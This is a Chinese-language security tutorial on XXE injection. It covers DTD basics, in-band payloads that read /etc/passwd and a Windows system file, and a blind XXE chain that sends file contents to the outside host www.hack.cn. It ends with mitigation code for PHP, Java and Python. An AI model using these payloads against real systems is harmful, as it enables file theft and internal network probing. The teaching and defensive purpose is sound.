前言
XML是一种用于标记电子文件使其具有结构性的标记语言,用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
DTD-定义
文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
所有的 XML 文档(以及 HTML 文档)均由以下简单的构建模块构成:
- 元素
- 属性
- 实体
- PCDATA
- CDATA
带有 DTD 的 XML 文档实例:
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>
PCDATA:
(1)PCDATA 的意思是被解析的字符数据(parsed character data),可把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。
(2)被解析的字符数据不应当包含任何 &、< 或者 > 字符;需要使用 &、< 以及 > 实体来分别替换它们。
DTD-元素
在一个 DTD 中,元素通过元素声明来进行声明。
(1)空元素通过类别关键词EMPTY进行声明:
(2)带有任何内容的元素
通过类别关键词 ANY 声明的元素,可包含任何可解析数据的组合
DTD-实体
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体引用是对实体的引用。实体可在内部或外部进行声明。
(1)内部实体声明
Ex.
(2)实体声明
<!DOCTYPE a [
<!ENTITY b SYSTEM "file:///etc/passwd">
]>
<a>&b</a>
注释: 一个实体由三部分构成: 一个和号(&),一个实体名称以及一个分号(;)。
外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如图2所示:
(3)下面的实体在XML中被预定义
被解析的字符数据不应当包含任何 &、< 或者 > 字符;需要使用 &、< 以及 > 实体来分别替换它们,如图1所示 。
XXE漏洞利用
Normal XXE(有回显)
常规外部实体注入:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&goodies;</creds>
Blind XXE(无回显)
利用参数外部实体注入:
参数实体只能在 DTD 文件中被引用,其他实体在 XML 文档内引用。
<!DOCTYPE a [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY %remote SYSTEM "http://www.hack
.cn/test.dtd”>
%remote;
%int;
%send;
]>
其中test.dtd的内容为:
<!ENTITY % int
"<!ENTITY % send SYSTEM “http://www.hack.cn/?%file”>"
>
%int;%send;
调用过程:
payload 中连续调用了三个参数实体 %remote;%int;%send;,这就是我们的利用顺序:
(1)%remote 先调用,调用后请求远程服务器上的 test.dtd ,有点类似于将 test.dtd 包含进来;
(2)%int 调用 test.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 %);
(3)我们再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。
除了读取文件,xxe还能 做很多危险操作,比如
1、HTTP 内网主机探测
2、HTTP 内网主机端口扫描
3、内网盲注(CTF)
4、钓鱼
参考链接:
https://xz.aliyun.com/t/3357#toc-5
http://www.mottoin.com/detail/738.html
https://www.hackersb.cn/hacker/211.html
https://www.w3school.com.cn/dtd/dtd_building.asp
练习平台:
https://portswigger.net/web-security/xxe
XXE漏洞修复与防御
使用语言中推荐的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
.setFeature("http://xml.org/sax/features/external-general-entities",false)
.setFeature("http://xml.org/sax/features/external-parameter-entities",false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))